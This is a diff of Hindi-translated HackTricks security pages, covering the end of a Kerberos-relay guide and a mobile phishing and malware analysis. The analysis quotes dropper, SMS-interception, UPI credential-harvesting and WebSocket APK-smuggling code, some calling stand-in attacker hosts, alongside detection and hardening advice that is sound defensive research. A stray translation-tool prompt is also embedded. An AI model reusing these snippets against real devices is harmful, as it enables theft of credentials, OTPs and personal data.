| **AuthIP / IPSec** | Fake server sends a **GSS-ID payload** with any SPN; client builds an AP-REQ straight to you | सबनेट्स के पार भी काम करता है; machine creds द्वारा default रूप से |
| **DCOM / MSRPC** | Malicious OXID resolver forces client to auth to arbitrary SPN and port | शुद्ध *local* priv-esc; firewall को बायपास करता है |
| **AD CS Web Enroll** | Relay machine ticket to `HTTP/CA` and get a cert, then **PKINIT** to mint TGTs | LDAP signing defenses को बायपास करता है |
| **Shadow Credentials** | Write `msDS-KeyCredentialLink`, then PKINIT with forged key pair | कंप्यूटर अकाउंट जोड़ने की आवश्यकता नहीं है |
### **समस्या निवारण**
| त्रुटि | अर्थ | समाधान |
| Error | Meaning | Fix |
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | टिकट कुंजी ≠ लक्ष्य कुंजी | गलत होस्ट/SPN |
| `KRB_AP_ERR_SKEW` | घड़ी > 5 मिनट का अंतर | समय समन्वयित करें या `w32tm` का उपयोग करें |
| LDAP बाइंड विफल | साइनिंग लागू | AD CS पथ का उपयोग करें या साइनिंग बंद करें |
| इवेंट 4649 स्पैम | सेवा ने डुप्लिकेट प्रमाणीकरण देखा | मूल पैकेट को ब्लॉक या रेस करें |
| `KRB_AP_ERR_MODIFIED` | Ticket key ≠ target key | गलत host/SPN |
| `KRB_AP_ERR_SKEW` | Clock > 5 min offset | समय सिंक करें या `w32tm` का उपयोग करें |
| LDAP bind fails | Signing लागू है | AD CS path का उपयोग करें या signing अक्षम करें |
| Event 4649 spam | Service ने duplicate Authenticator देखा | original packet को block करें या race करें |
### **पता लगाना**
### **डिटेक्शन**
* एक ही स्रोत से **इवेंट 4769** में वृद्धि `CIFS/`, `HTTP/`, `LDAP/` के लिए सेकंडों के भीतर
* सेवा पर **इवेंट 4649** पुनःप्रेषण का संकेत देता है।
* **127.0.0.1** से केर्बेरोस लॉगिन (स्थानीय SCM के लिए रिले) अत्यधिक संदिग्ध है—KrbRelayUp दस्तावेज़ों में सिग्मा नियम के माध्यम से मानचित्रण करें।
* `msDS-AllowedToActOnBehalfOfOtherIdentity` या `msDS-KeyCredentialLink` विशेषताओं में परिवर्तनों पर नज़र रखें।
* कुछ सेकंड के भीतर एक ही स्रोत से `CIFS/`, `HTTP/`, `LDAP/` के लिए **Event 4769** में वृद्धि
* सेवा पर **Event 4649** replay का संकेत देता है।
* **127.0.0.1** से Kerberos logon (local SCM को relay) अत्यधिक संदिग्ध है — KrbRelayUp डॉक्स में Sigma rule के माध्यम से मैप करें।
* `msDS-AllowedToActOnBehalfOfOtherIdentity` या `msDS-KeyCredentialLink` गुणों में हुए बदलाव पर नज़र रखें।
## **सुरक्षा बढ़ाना**
## **हार्डनिंग**
1. हर सर्वर पर **LDAP & SMB साइनिंग + EPA** लागू करें।
2. **SPNs को विभाजित करें** ताकि HTTP CIFS/LDAP के समान खाते पर न हो
3. मजबूरण वेक्टर को पैच करें (PetitPotam KB5005413, DFS, AuthIP)।
4. **`ms-DS-MachineAccountQuota = 0`** सेट करें ताकि बागी कंप्यूटर जुड़ाव को रोका जा सके
5. **इवेंट 4649** और अप्रत्याशित लूपबैक केर्बेरोस लॉगिन पर अलर्ट करें।
1. हर सर्वर पर **LDAP & SMB signing + EPA** लागू करें।
2. **SPNs अलग रखें** ताकि HTTP वही अकाउंट न हो जो CIFS/LDAP के लिए है
3. coercion vectors को patch करें (PetitPotam KB5005413, DFS, AuthIP)।
4. **`ms-DS-MachineAccountQuota = 0`** सेट करें ताकि rogue computer joins रोकें
5. **Event 4649** और अनपेक्षित loopback Kerberos logons पर alert सेट करें।
## संदर्भ
## References
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
- [GoSecure Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
- [Impacket PR #2034 Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
- [Impacket PR #913 HTTP relay support](https://github.com/fortra/impacket/pull/913)
- [WSUScripts wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
- [WSUScripts wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
- [MS-WSUSOD Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
- [Microsoft WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,67 +1,67 @@
# मोबाइल Phishing & Malicious App Distribution (Android & iOS)
# मोबाइल फ़िशिंग और मैलिशियस ऐप वितरण (Android & iOS)
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
> यह पृष्ठ उन तकनीकों को कवर करता है जिनका उपयोग थ्रेट एक्टर्स द्वारा phishing (SEO, social engineering, fake stores, dating apps, आदि) के माध्यम से **malicious Android APKs** और **iOS mobile-configuration profiles** वितरित करने के लिए किया जाता है।
> सामग्री SarangTrap अभियान (Zimperium zLabs द्वारा उजागर, 2025) और अन्य सार्वजनिक शोध से अनुकूलित है।
> यह पेज उन तकनीकों को कवर करता है जिन्हें threat actors द्वारा **malicious Android APKs** और **iOS mobile-configuration profiles** को phishing (SEO, social engineering, fake stores, dating apps, आदि) के माध्यम से वितरित करने के लिए इस्तेमाल किया जाता है।
> सामग्री SarangTrap campaign जिसे Zimperium zLabs (2025) ने उजागर किया और अन्य सार्वजनिक रिसर्च से अनुकूलित है।
## हमला प्रवाह
## हमले का प्रवाह
1. **SEO/Phishing इफ्रास्ट्रक्चर**
* दर्जनों look-alike डोमेनों को रजिस्टर करें (dating, cloud share, car service…).
`<title>` एलिमेंट में स्थानीय भाषा के keywords और emojis का उपयोग करें ताकि Google में रैंकिंग मिले
एक ही लैंडिंग पेज पर *दोनों* Android (`.apk`) और iOS इंस्टॉल निर्देश होस्ट करें।
2. **पहला चरण: डाउनलोड**
* Android: एक डायरेक्ट लिंक जो *unsigned* या “third-party store” APK की ओर जाता है।
* iOS: `itms-services://` या सामान्य HTTPS लिंक जो एक malicious **mobileconfig** प्रोफ़ाइल की ओर इशारा करता है (नीचे देखें)।
3. **इंस्टॉल के बाद Social Engineering**
* पहली बार चलाने पर ऐप एक **invitation / verification code** माँगता है (विशेष पहुंच का भ्रम)।
* कोड **HTTP पर POST** किया जाता है Command-and-Control (C2) को।
* C2 उत्तर देता है `{"success":true}`मैलवेयर जारी रहता है।
* जो सैंडबॉक्स / AV डायनामिक एनालिसिस वैध कोड सबमिट नहीं करता वह **कोई मालिशियस व्यवहार नहीं** देखता (evasion)।
4. **Runtime Permission Abuse (Android)**
* खतरनाक permissions सिर्फ **positive C2 response के बाद** अनुरोध किए जाते हैं:
1. **SEO/Phishing इन्फ्रास्ट्रक्चर**
* दर्जनों look-alike domains रजिस्टर करें (dating, cloud share, car service…).
`<title>` एलिमेंट में स्थानीय भाषा के keywords और emojis का उपयोग करके Google में रैंक हासिल करें
एक ही landing page पर *both* Android (`.apk`) और iOS install निर्देश होस्ट करें.
2. **पहला स्टेज डाउनलोड**
* Android: सीधे लिंक जो एक *unsigned* या “third-party store” APK की ओर जाता है।
* iOS: `itms-services://` या साधारण HTTPS लिंक जो एक malicious **mobileconfig** profile पर पॉइंट करता है (नीचे देखें)।
3. **पोस्ट-इंस्टॉल Social Engineering**
* पहली बार चलाते समय ऐप एक **invitation / verification code** मांगता है (exclusive access का भान कराना)।
* कोड को HTTP पर POST किया जाता है Command-and-Control (C2) को।
* C2 उत्तर देता है `{"success":true}`malware जारी रहता है।
* Sandbox / AV dynamic analysis जो कभी वैध कोड सबमिट नहीं करता उस स्थिति में कोई malicious behaviour नहीं दिखता (evasion)।
4. **रनटाइम परमिशन दुरुपयोग (Android)**
* खतरनाक permissions केवल positive C2 response के बाद ही अनुरोध किए जाते हैं:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->
```
* हालिया वेरिएंट्स `AndroidManifest.xml` से SMS के लिए `<uses-permission>` हटाते हैं लेकिन Java/Kotlin कोड पाथ को reflection के माध्यम से SMS पढ़ने के लिए छोड़ देते हैं ⇒ इससे static स्कोर कम होता है जबकि AppOps abuse या पुराने लक्ष्यों पर कार्यशील रहता है
5. **Facade UI और Background Collection**
* ऐप लोकल रूप से harmless views (SMS viewer, gallery picker) दिखाता है।
* इस बीच यह निम्न एक्सफ़िल्ट्रेट करता है:
* हालिया वेरिएंट `<uses-permission>` for SMS को `AndroidManifest.xml` से हटाते हैं लेकिन Java/Kotlin कोड पाथ को reflection के माध्यम से SMS पढ़ने के लिए छोड़ देते हैं ⇒ static स्कोर कम होता है जबकि उन डिवाइसेस पर अभी भी कार्यशील रहता है जो `AppOps` abuse या पुराने लक्ष्यों के कारण permission दे चुके हैं
5. **Facade UI और बैकग्राउंड कलेक्शन**
* ऐप स्थानीय रूप से harmless views (SMS viewer, gallery picker) दिखाता है।
* इस दौरान यह एक्सफिल्ट्रेट करता है:
- IMEI / IMSI, फोन नंबर
- पूरा `ContactsContract` dump (JSON array)
- `/sdcard/DCIM` से JPEG/PNG, आकार कम करने के लिए [Luban](https://github.com/Curzibn/Luban) से compress किया गया
- वैकल्पिक SMS सामग्री (`content://sms`)
पेलोड्स को **batch-zipped** करके `HTTP POST /upload.php` के जरिए भेजा जाता है।
6. **iOS Delivery Technique**
* एक अकेला **mobile-configuration profile** `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` आदि अनुरोध कर सकता है ताकि डिवाइस को “MDM”-समान supervision में enroll किया जा सके।
- `/sdcard/DCIM` से JPEG/PNG जिन्हें आकार घटाने के लिए [Luban](https://github.com/Curzibn/Luban) से compress किया गया
- वैकल्पिक SMS कंटेंट (`content://sms`)
Payloads को **batch-zipped** करके `HTTP POST /upload.php` के माध्यम से भेजा जाता है।
6. **iOS डिलीवरी तकनीक**
* एक single **mobile-configuration profile** `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` आदि का अनुरोध कर सकती है ताकि डिवाइस को “MDM”-like supervision में enroll किया जा सके।
* Social-engineering निर्देश:
1. Settings खोलें*Profile downloaded*.
2. तीन बार *Install* पर टैप करें (फिशिंग पेज पर स्क्रीनशॉट)।
3. unsigned प्रोफ़ाइल को Trust करें ➜ हमलावर को App Store समीक्षा के बिना *Contacts* और *Photo* entitlement मिल जाता है।
1. Open Settings ➜ *Profile downloaded*.
2. Tap *Install* three times (screenshots phishing पेज पर)।
3. Trust the unsigned profile ➜ attacker को *Contacts* & *Photo* entitlement मिल जाता है बिना App Store review के
7. **नेटवर्क लेयर**
* सादा HTTP, अक्सर पोर्ट 80 पर HOST हेडर जैसा `api.<phishingdomain>.com` के साथ
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (कोई TLS नहीं → आसानी से पकड़ा जा सकता है)।
* Plain HTTP, अक्सर port 80 पर HOST header जैसे `api.<phishingdomain>.com` का उपयोग
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (कोई TLS नहीं → पहचानना आसान)।
## Defensive Testing / Red-Team Tips
* **Dynamic Analysis Bypass** मैलवेयर आकलन के दौरान, invitation code चरण को Frida/Objection से automate करके malicious ब्रांच तक पहुँचें
* **Manifest vs. Runtime Diff** `aapt dump permissions` की तुलना runtime `PackageManager#getRequestedPermissions()` से करें; गायब खतरनाक परमिशन्स एक रेड फ्लैग हैं।
* **Network Canary** कोड एंट्री के बाद असामान्य POST बर्स्ट का पता लगाने के लिए `iptables -p tcp --dport 80 -j NFQUEUE` कॉन्फ़िगर करें।
* **mobileconfig Inspection** macOS पर `security cms -D -i profile.mobileconfig` का उपयोग करके `PayloadContent` सूचीबद्ध करें और अत्यधिक entitlements पहचानें।
* **Dynamic Analysis Bypass** malware assessment के दौरान invitation code phase को Frida/Objection से automate करें ताकि malicious branch तक पहुँचा जा सके
* **Manifest vs. Runtime Diff** `aapt dump permissions` की तुलना runtime `PackageManager#getRequestedPermissions()` से करें; गुम खतरनाक perms एक रेड फ्लैग हैं।
* **Network Canary** unsolid POST bursts को डिटेक्ट करने के लिए `iptables -p tcp --dport 80 -j NFQUEUE` कॉन्फ़िगर करें, खासकर कोड एंट्री के बाद
* **mobileconfig Inspection** macOS पर `security cms -D -i profile.mobileconfig` का उपयोग कर `PayloadContent` की सूची बनाकर अत्यधिक entitlements पकड़ें।
## Blue-Team Detection Ideas
* **Certificate Transparency / DNS Analytics** ताकि sudden bursts वाले keyword-rich डोमेन पकड़े जा सकें
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` Dalvik क्लाइंट्स से जिन्हें Google Play के बाहर देखा गया हो
* **Invite-code Telemetry** APK इंस्टॉल के तुरंत बाद 68 अंक के न्यूमेरिक कोड का POST स्टेजिंग का संकेत हो सकता है।
* **MobileConfig Signing** unsigned configuration profiles को MDM नीति के जरिए ब्लॉक करें।
* **Certificate Transparency / DNS Analytics** ताकि keyword-rich डोमेन के अचानक पैमाने को पकड़ा जा सके
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` Dalvik clients से जो Google Play के बाहर हैं
* **Invite-code Telemetry** APK install के तुरंत बाद 68 अंकों वाले numeric codes का POST होना staging का संकेत दे सकता है।
* **MobileConfig Signing** MDM नीति के जरिए unsigned configuration profiles को ब्लॉक करें।
## उपयोगी Frida Snippet: Auto-Bypass Invitation Code
## Useful Frida Snippet: Auto-Bypass Invitation Code
```python
# frida -U -f com.badapp.android -l bypass.js --no-pause
# Hook HttpURLConnection write to always return success
@ -80,7 +80,7 @@ return conn;
};
});
```
## सूचक (सामान्य)
## संकेतक (सामान्य)
```
/req/checkCode.php # invite code validation
/upload.php # batched ZIP exfiltration
@ -90,17 +90,17 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
## Android WebView Payment Phishing (UPI) Dropper + FCM C2 Pattern
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
यह पैटर्न उन अभियानों में देखा गया है जो सरकारी-लाभ थीमों का दुरुपयोग करके भारतीय UPI क्रेडेंशियल और OTP चुराते हैं। ऑपरेटर डिलीवरी और रिसिलिएंस के लिए प्रतिष्ठित प्लेटफॉर्मों को श्रृंखलाबद्ध करते हैं।
### भरोसेमंद प्लेटफ़ॉर्म्स पर वितरण श्रृंखला
- YouTube लुभावना वीडियो → विवरण में एक शॉर्ट लिंक होता है
- Shortlink → GitHub Pages पर आधिकारिक पोर्टल की नकल करने वाली phishing साइट
- वही GitHub repo एक APK होस्ट करता है जिसमें नकली “Google Play” बैज होता है जो सीधे फाइल से लिंक करता है
- डायनेमिक phishing पेज Replit पर रहते हैं; रिमोट कमांड चैनल Firebase Cloud Messaging (FCM) का उपयोग करता है
### Delivery chain across trusted platforms
- YouTube वीडियो lure → विवरण में एक शॉर्टलिंक
- Shortlink → GitHub Pages पर legit पोर्टल की नकल करने वाली phishing साइट
- वही GitHub repo एक APK होस्ट करता है जिस पर नकली “Google Play” बैज होता है जो सीधे फाइल से लिंक करता है
- डायनामिक phishing पेज Replit पर लाइव होते हैं; रिमोट कमांड चैनल Firebase Cloud Messaging (FCM) का उपयोग करता है
### Dropper with embedded payload and offline install
- पहला APK एक installer (dropper) है जो वास्तविक malware को `assets/app.apk` पर भेजता है और यूज़र को क्लाउड-आधारित डिटेक्शन को बेअसर करने के लिए WiFi/mobile data बंद करने का संकेत देता है
- Embedded payload एक सामान्य लेबल (उदा., “Secure Update”) के नाम से इंस्टॉल होता है। इंस्टॉल के बाद, installer और payload दोनों अलग-अलग apps के रूप में मौजूद रहते हैं।
- पहला APK एक इंस्टॉलर (dropper) है जो असली malware को `assets/app.apk` में शिप करता है और उपयोगकर्ता से WiFi/mobile data अक्षम करने को कहता है ताकि क्लाउड डिटेक्शन कमजोर किया जा सके
- एंबेडेड payload एक सामान्य लेबल के तहत इंस्टॉल होता है (उदा., “Secure Update”)। इंस्टॉल के बाद, इंस्टॉलर और payload दोनों अलग-अलग ऐप्स के रूप में मौजूद रहते हैं।
Static triage tip (grep for embedded payloads):
```bash
@ -108,8 +108,8 @@ unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
### shortlink के माध्यम से डायनामिक endpoint की खोज
- Malware एक shortlink से plain-text, comma-separated list लेता है जिसमें live endpoints होते हैं; सरल string transforms अंतिम phishing page path उत्पन्न करते हैं।
### शॉर्टलिंक के माध्यम से डायनेमिक एंडपॉइंट खोज
- Malware shortlink से सादा-टेक्स्ट, कॉमा-सेपरेटेड सूची में लाइव एंडपॉइंट्स को फ़ेच करता है; सरल string transforms अंतिम phishing पेज का path उत्पन्न करते हैं।
Example (sanitised):
```
@ -128,7 +128,7 @@ String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
### WebView-based UPI credential harvesting
- “Make payment of ₹1 / UPILite” चरण WebView के अंदर dynamic endpoint से हमलावर का HTML फॉर्म लोड करता है और संवेदनशील फ़ील्ड्स (phone, bank, UPI PIN) को कैप्चर करता है जिन्हें `POST` करके `addup.php` पर भेजा जाता है
- “Make payment of ₹1 / UPILite” चरण WebView के अंदर dynamic endpoint से attacker HTML form लोड करता है और संवेदनशील फ़ील्ड्स (phone, bank, UPI PIN) को कैप्चर करता है, जिन्हें `POST` किया जाता है `addup.php` पर
न्यूनतम लोडर:
```java
@ -137,15 +137,15 @@ wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
```
### Self-propagation and SMS/OTP interception
- पहली बार चलाने पर आक्रामक permissions का अनुरोध किया जाता है:
- पहली बार चलाने पर आक्रामक अनुमतियाँ मांगी जाती हैं:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
```
- Contacts को लूप किया जाता है ताकि पीड़ित के डिवाइस से smishing SMS बड़े पैमाने पर भेजे जा सकें.
- Incoming SMS को एक broadcast receiver द्वारा इंटरसेप्ट किया जाता है और metadata (sender, body, SIM slot, per-device random ID) के साथ `/addsm.php` पर अपलोड किया जाता है.
- संपर्कों को पीड़ित के डिवाइस से smishing SMS बड़े पैमाने पर भेजने के लिए लूप किया जाता है।
- Incoming SMS को एक broadcast receiver द्वारा intercept किया जाता है और metadata (sender, body, SIM slot, per-device random ID) के साथ `/addsm.php` पर अपलोड किया जाता है
Receiver sketch:
```java
@ -161,10 +161,10 @@ postForm(urlAddSms, new FormBody.Builder()
}
}
```
### Firebase Cloud Messaging (FCM) के रूप में लचीला C2
- Payload FCM में रजिस्टर होता है; push messages में `_type`ील्ड होता है जिसका उपयोग क्रियाओं को ट्रिगर करने के लिए एक स्विच की तरह किया जाता है (उदा., phishing टेक्स्ट टेम्पलेट्स अपडेट करना, व्यवहार टॉगल करना).
### Firebase Cloud Messaging (FCM) को एक लचीला C2 के रूप में
- payload FCM में रजिस्टर होता है; push messages में `_type`़ील्ड होती है जिसका उपयोग क्रियाओं को ट्रिगर करने के लिए switch की तरह किया जाता है (उदा., phishing टेक्स्ट टेम्पलेट अपडेट करना, व्यवहार टॉगल करना)
Example FCM payload:
FCM payload का उदाहरण:
```json
{
"to": "<device_fcm_token>",
@ -187,29 +187,70 @@ case "smish": sendSmishToContacts(); break;
}
```
### हंटिंग पैटर्न और IOCs
- APK में सेकेंडरी payload `assets/app.apk` में मौजूद है
- WebView `gate.htm` से payment लोड करता है और `/addup.php` पर exfiltrate करता है
- SMS का exfiltration `/addsm.php` पर
- Shortlink-ड्रिवन config fetch (e.g., `rebrand.ly/*`) जो CSV endpoints लौटाता है
- ऐसे ऐप्स जिन्हें generic “Update/Secure Update” लेबल किया गया हो
- FCM `data` संदेश अनट्रस्टेड ऐप्स में जिनमें `_type` discriminator होता है
- APK में सेकेंडरी payload `assets/app.apk` में मौजूद
- WebView `gate.htm` से payment लोड करता है और `/addup.php` पर exfiltrates करता है
- SMS exfiltration `/addsm.php` पर
- Shortlink-driven config fetch (उदा., `rebrand.ly/*`) जो CSV endpoints लौटाता है
- Apps जो generic “Update/Secure Update” लेबल किए गए हों
- अनट्रस्टेड ऐप्स में FCM `data` messages जिनमें `_type` discriminator हो
### डिटेक्शन और डिफेंस आइडियाज
- उन ऐप्स को flag करें जो इंस्टॉल के दौरान उपयोगकर्ताओं से नेटवर्क डिसेबल करने को कहते हैं और फिर `assets/` से दूसरी APK side-load करते हैं।
- permission tuple पर अलर्ट: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-आधारित payment flows
- non-corporate hosts पर `POST /addup.php|/addsm.php` के लिए egress मॉनिटरिंग; ज्ञात infrastructure को block करें।
- Mobile EDR नियम: untrusted ऐप जो FCM के लिए register करता है और `_type` field पर branching करता है।
### पहचान और रक्षा के विचार
- उन ऐप्स को फ़्लैग करें जो इंस्टॉल के दौरान उपयोगकर्ताओं को नेटवर्क disable करने का निर्देश देती हैं और फिर `assets/` से दूसरा APK side-load करती हैं।
- निम्न permission tuple पर अलर्ट: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-आधारित payment flows.
- non-corporate hosts पर `POST /addup.php|/addsm.php` के लिए egress मॉनिटरिंग; ज्ञात infrastructure को ब्लॉक करें।
- Mobile EDR rules: अनट्रस्टेड ऐप जो FCM के लिए register करता है और `_type` फील्ड पर branching करता है।
---
## Socket.IO/WebSocket-आधारित APK Smuggling + Fake Google Play Pages
हमलावर बढ़ती हुई प्रवृत्ति में स्थिर APK लिंक की जगह Socket.IO/WebSocket चैनल का उपयोग करते हैं जिसे Google Playlooking lures में एम्बेड किया जाता है। यह payload URL को छिपाता है, URL/extension फिल्टर को बायपास करता है, और वास्तविक दिखने वाला install UX बनाए रखता है।
Typical client flow observed in the wild:
```javascript
// Open Socket.IO channel and request payload
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
socket.emit("startDownload", { app: "com.example.app" });
// Accumulate binary chunks and drive fake Play progress UI
const chunks = [];
socket.on("chunk", (chunk) => chunks.push(chunk));
socket.on("downloadProgress", (p) => updateProgressBar(p));
// Assemble APK clientside and trigger browser save dialog
socket.on("downloadComplete", () => {
const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url; a.download = "app.apk"; a.style.display = "none";
document.body.appendChild(a); a.click();
});
```
Why it evades simple controls:
- कोई स्थिर APK URL उजागर नहीं होता; payload को WebSocket frames से मेमोरी में पुनर्निर्मित किया जाता है.
- URL/MIME/extension filters जो सीधे .apk responses को ब्लॉक करते हैं वे WebSockets/Socket.IO के माध्यम से टनल किए गए बाइनरी डेटा को मिस कर सकते हैं.
- WebSockets को execute न करने वाले Crawlers और URL sandboxes payload को retrieve नहीं कर पाएँगे.
Hunting and detection ideas:
- Web/network telemetry: उन WebSocket sessions को flag करें जो बड़े binary chunks transfer करते हैं और उसके बाद MIME application/vnd.android.package-archive वाला Blob बनाया जाता है और programmatic `<a download>` click किया जाता है। page scripts में socket.emit('startDownload') जैसे client strings और chunk, downloadProgress, downloadComplete नाम के events देखें।
- Play-store spoof heuristics: Play-जैसी pages सर्व करने वाले non-Google domains पर Google Play UI strings (जैसे http.html:"VfPpkd-jY41G-V67aGc"), mixed-language templates, और WS events से driven नकली “verification/progress” flows की तलाश करें।
- Controls: non-Google origins से APK delivery को ब्लॉक करें; WebSocket traffic को शामिल करने वाली MIME/extension नीतियाँ लागू करें; ब्राउज़र के safe-download prompts को बनाए रखें।
See also WebSocket tradecraft and tooling:
{{#ref}}
../../pentesting-web/websocket-attacks.md
{{#endref}}
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration RatOn case study
The RatOn banker/RAT campaign (ThreatFabric) आधुनिक mobile phishing ऑपरेशन्स का एक ठोस उदाहरण है जहाँ WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, और यहाँ तक कि NFC-relay orchestration को मिलाकर इस्तेमाल किया जाता है। यह सेक्शन इन reusable techniques का सार प्रस्तुत करता है।
The RatOn banker/RAT campaign (ThreatFabric) एक ठोस उदाहरण है कि कैसे आधुनिक mobile phishing ऑपरेशन्स WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, और यहां तक कि NFC-relay orchestration को मिलाते हैं। यह सेक्शन पुन:उपयोग योग्य तकनीकों का सार प्रस्तुत करता है।
### Stage-1: WebView → native install bridge (dropper)
आक्रमणकारी एक WebView दिखाते हैं जो attacker पेज की ओर इशारा करता है और एक JavaScript interface inject करते हैं जो एक native installer को एक्सपोज़ करता है। HTML बटन पर टैप native कोड को कॉल करता है जो dropper के assets में बंडल किए गए second-stage APK को install करता है और फिर उसे सीधे लॉन्च कर देता है।
हमलावर एक attacker page की ओर संकेत करने वाला WebView प्रस्तुत करते हैं और एक JavaScript interface inject करते हैं जो native installer को एक्सपोज़ करता है। HTML button पर tap करने से native code कॉल होता है जो dropper के assets में bundled दूसरे-स्टेज APK को install करता है और फिर उसे सीधे launch कर देता है।
Minimal pattern:
न्यूनतम पैटर्न:
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
@ -238,22 +279,22 @@ wv.loadUrl("https://attacker.site/install.html");
}
}
```
Please paste the HTML/markdown content you want translated (the file or page contents).
कृपया उस पृष्ठ का HTML यहाँ चिपकाएँ जिसे आप हिंदी में अनुवादित करवाना चाहते हैं।
```html
<button onclick="bridge.installApk()">Install</button>
```
इंस्टॉल के बाद, dropper explicit package/activity के माध्यम से payload को शुरू करता है:
इंस्टॉल करने के बाद, dropper explicit package/activity के माध्यम से payload शुरू करता है:
```java
Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);
```
Hunting idea: untrusted apps calling `addJavascriptInterface()` and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under `assets/` and invoking the Package Installer Session API.
Hunting idea: अनविश्वसनीय ऐप्स `addJavascriptInterface()` कॉल कर रहे हैं और WebView को installer-जैसी विधियाँ एक्सपोज़ कर रहे हैं; APK एक embedded सेकेंडरी payload को `assets/` के अंतर्गत शिप कर रहा है और Package Installer Session API को इनवोक कर रहा है।
### स्वीकृति फ़नल: Accessibility + Device Admin + follow-on runtime prompts
Stage-2 एक WebView खोलता है जो “Access” पेज होस्ट करता है। इसका बटन एक exported method को invoke करता है जो विक्टिम को Accessibility settings पर नेविगेट करके rogue service को enable करने का अनुरोध करता है। एक बार अनुमति मिलने पर, malware Accessibility का उपयोग करके बाद के runtime permission dialogs (contacts, overlay, manage system settings, etc.) में auto-click करके अनुमतियाँ स्वीकार करवा देता है और Device Admin के लिए अनुरोध करता है।
### Consent funnel: Accessibility + Device Admin + follow-on runtime prompts
Stage-2 एक WebView खोलता है जो एक “Access” पेज होस्ट करता है। इसके बटन से एक exported method इनवोक होता है जो पीड़ित को Accessibility settings पर नेविगेट करता है और rogue service को सक्षम करने का अनुरोध करता है। एक बार अनुमति मिलने पर, malware Accessibility का उपयोग करके बाद के runtime permission dialogs (contacts, overlay, manage system settings, आदि) में auto-click कर के आगे बढ़ता है और Device Admin का अनुरोध करता है।
- Accessibility प्रोग्रामेटिकली बाद के prompts स्वीकार करने में मदद करता है — node-tree में “Allow”/“OK” जैसे बटन ढूंढकर और उन पर क्लिक भेजकर
- Accessibility प्रोग्रामैटिकली बाद के प्रॉम्प्ट स्वीकार करने में मदद करता है — node-tree में “Allow”/“OK” जैसे बटनों को ढूंढकर और क्लिक dispatch करके
- Overlay permission check/request:
```java
if (!Settings.canDrawOverlays(ctx)) {
@ -262,27 +303,27 @@ Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}
```
इन्हें भी देखें:
देखें:
{{#ref}}
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
{{#endref}}
### Overlay phishing/ransom (WebView के माध्यम से)
ऑपरेटर निम्नलिखित कमांड जारी कर सकते हैं:
- एक URL से पूर्ण-स्क्रीन ओवरले रेंडर करना, या
- इनलाइन HTML पास करना जिसे WebView ओवरले में लोड किया जाए
### WebView के माध्यम से Overlay phishing/ransom
ऑपरेटर आदेश दे सकते हैं:
- URL से full-screen overlay प्रदर्शित करना, या
- inline HTML पास करना जिसे WebView overlay में लोड किया जाता है
